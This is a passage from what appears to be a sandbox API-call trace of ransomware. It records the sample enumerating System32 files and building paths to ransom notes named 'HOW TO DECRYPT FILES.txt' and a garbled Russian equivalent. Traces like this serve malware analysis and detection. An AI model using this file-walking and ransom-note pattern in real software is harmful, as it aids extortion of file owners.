PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmocx.dll") returned 1 [0144.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmocx.dll") returned 1 [0144.762] lstrcmpiA (lpString1="", lpString2="dmocx.dll") returned -1 [0144.762] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmloader.dll") returned="dmloader.dll" [0144.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.762] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.762] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.762] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.762] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmocx.dll" | out: lpString1="C:\\Windows\\System32\\dmocx.dll") returned="C:\\Windows\\System32\\dmocx.dll" [0144.762] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50d296d, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xe50d296d, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8956eb80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrc.dll", cAlternateFileName="")) returned 1 [0144.762] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmrc.dll") returned 1 [0144.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmrc.dll") returned 1 [0144.763] lstrcmpiA (lpString1="", lpString2="dmrc.dll") returned -1 [0144.763] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmocx.dll") returned="dmocx.dll" [0144.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.763] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.763] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.763] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.763] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmrc.dll" | out: lpString1="C:\\Windows\\System32\\dmrc.dll") returned="C:\\Windows\\System32\\dmrc.dll" [0144.763] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x789863a9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x789863a9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x8956eb80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmscript.dll", cAlternateFileName="")) returned 1 [0144.763] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.763] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmscript.dll") returned 1 [0144.763] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmscript.dll") returned 1 [0144.763] lstrcmpiA (lpString1="", lpString2="dmscript.dll") returned -1 [0144.763] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmrc.dll") returned="dmrc.dll" [0144.763] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.763] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.763] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.763] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.764] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmscript.dll" | out: lpString1="C:\\Windows\\System32\\dmscript.dll") returned="C:\\Windows\\System32\\dmscript.dll" [0144.764] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77d9f5f9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77d9f5f9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x8956eb80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmstyle.dll", cAlternateFileName="")) returned 1 [0144.764] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.764] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmstyle.dll") returned 1 [0144.764] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmstyle.dll") returned 1 [0144.764] lstrcmpiA (lpString1="", lpString2="dmstyle.dll") returned -1 [0144.764] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmscript.dll") returned="dmscript.dll" [0144.764] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.764] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.764] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.764] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.764] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmstyle.dll" | out: lpString1="C:\\Windows\\System32\\dmstyle.dll") returned="C:\\Windows\\System32\\dmstyle.dll" [0144.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77ef6250, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77ef6250, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x8956eb80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmsynth.dll", cAlternateFileName="")) returned 1 [0144.765] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmsynth.dll") returned 1 [0144.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmsynth.dll") returned 1 [0144.765] lstrcmpiA (lpString1="", lpString2="dmsynth.dll") returned -1 [0144.765] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmstyle.dll") returned="dmstyle.dll" [0144.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.765] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.765] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.765] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.765] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmsynth.dll" | out: lpString1="C:\\Windows\\System32\\dmsynth.dll") returned="C:\\Windows\\System32\\dmsynth.dll" [0144.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7850fa87, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7850fa87, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89593570, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmusic.dll", cAlternateFileName="")) returned 1 [0144.765] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmusic.dll") returned 1 [0144.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmusic.dll") returned 1 [0144.765] lstrcmpiA (lpString1="", lpString2="dmusic.dll") returned -1 [0144.765] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmsynth.dll") returned="dmsynth.dll" [0144.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.766] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.766] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.766] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.766] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmusic.dll" | out: lpString1="C:\\Windows\\System32\\dmusic.dll") returned="C:\\Windows\\System32\\dmusic.dll" [0144.766] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1f50d75, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf1f50d75, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x89593570, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmutil.dll", cAlternateFileName="")) returned 1 [0144.766] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.766] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmutil.dll") returned 1 [0144.766] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmutil.dll") returned 1 [0144.766] lstrcmpiA (lpString1="", lpString2="dmutil.dll") returned -1 [0144.766] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmusic.dll") returned="dmusic.dll" [0144.766] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.766] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.766] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.766] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.766] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmutil.dll" | out: lpString1="C:\\Windows\\System32\\dmutil.dll") returned="C:\\Windows\\System32\\dmutil.dll" [0144.767] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1dfa11e, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf1dfa11e, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x89593570, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmvdsitf.dll", cAlternateFileName="")) returned 1 [0144.767] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmvdsitf.dll") returned 1 [0144.767] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmvdsitf.dll") returned 1 [0144.767] lstrcmpiA (lpString1="", lpString2="dmvdsitf.dll") returned -1 [0144.767] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmutil.dll") returned="dmutil.dll" [0144.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.767] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.767] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.767] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.767] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmvdsitf.dll" | out: lpString1="C:\\Windows\\System32\\dmvdsitf.dll") returned="C:\\Windows\\System32\\dmvdsitf.dll" [0144.767] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf125f62c, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf125f62c, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x641e4390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmview.ocx", cAlternateFileName="")) returned 1 [0144.767] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dmview.ocx") returned 1 [0144.768] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dmview.ocx") returned 1 [0144.768] lstrcmpiA (lpString1="", lpString2="dmview.ocx") returned -1 [0144.768] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmvdsitf.dll") returned="dmvdsitf.dll" [0144.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.768] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.768] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.768] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.768] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dmview.ocx" | out: lpString1="C:\\Windows\\System32\\dmview.ocx") returned="C:\\Windows\\System32\\dmview.ocx" [0144.768] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a29e56, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99a29e56, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99ac23d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsapi.dll", cAlternateFileName="")) returned 1 [0144.768] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.768] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dnsapi.dll") returned 1 [0144.768] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dnsapi.dll") returned 1 [0144.768] lstrcmpiA (lpString1="", lpString2="dnsapi.dll") returned -1 [0144.768] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dmview.ocx") returned="dmview.ocx" [0144.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.769] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.769] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.769] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.769] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dnsapi.dll" | out: lpString1="C:\\Windows\\System32\\dnsapi.dll") returned="C:\\Windows\\System32\\dnsapi.dll" [0144.769] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a03cf6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99a03cf6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99a29e56, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0144.769] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.769] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dnscacheugc.exe") returned 1 [0144.769] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dnscacheugc.exe") returned 1 [0144.769] lstrcmpiA (lpString1="", lpString2="dnscacheugc.exe") returned -1 [0144.769] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dnsapi.dll") returned="dnsapi.dll" [0144.769] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.769] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.769] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.769] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.769] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dnscacheugc.exe" | out: lpString1="C:\\Windows\\System32\\dnscacheugc.exe") returned="C:\\Windows\\System32\\dnscacheugc.exe" [0144.770] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869c5ee6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x869c5ee6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x869ec046, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnscmmc.dll", cAlternateFileName="")) returned 1 [0144.770] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.770] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dnscmmc.dll") returned 1 [0144.770] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dnscmmc.dll") returned 1 [0144.770] lstrcmpiA (lpString1="", lpString2="dnscmmc.dll") returned -1 [0144.770] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dnscacheugc.exe") returned="dnscacheugc.exe" [0144.770] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.770] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.771] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.771] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.772] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dnscmmc.dll" | out: lpString1="C:\\Windows\\System32\\dnscmmc.dll") returned="C:\\Windows\\System32\\dnscmmc.dll" [0144.772] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9b2c25, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2b9b2c25, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x897f5b10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="docprop.dll", cAlternateFileName="")) returned 1 [0144.772] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.772] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="docprop.dll") returned 1 [0144.772] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="docprop.dll") returned 1 [0144.772] lstrcmpiA (lpString1="", lpString2="docprop.dll") returned -1 [0144.772] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dnscmmc.dll") returned="dnscmmc.dll" [0144.772] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.772] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.772] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.772] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.772] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="docprop.dll" | out: lpString1="C:\\Windows\\System32\\docprop.dll") returned="C:\\Windows\\System32\\docprop.dll" [0144.773] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4dc5eb3, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc4dc5eb3, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x69392de0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0144.773] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="doskey.exe") returned 1 [0144.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="doskey.exe") returned 1 [0144.773] lstrcmpiA (lpString1="", lpString2="doskey.exe") returned -1 [0144.773] PathFindFileNameA (pszPath="C:\\Windows\\System32\\docprop.dll") returned="docprop.dll" [0144.773] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.773] PathAddBackslashA (in: 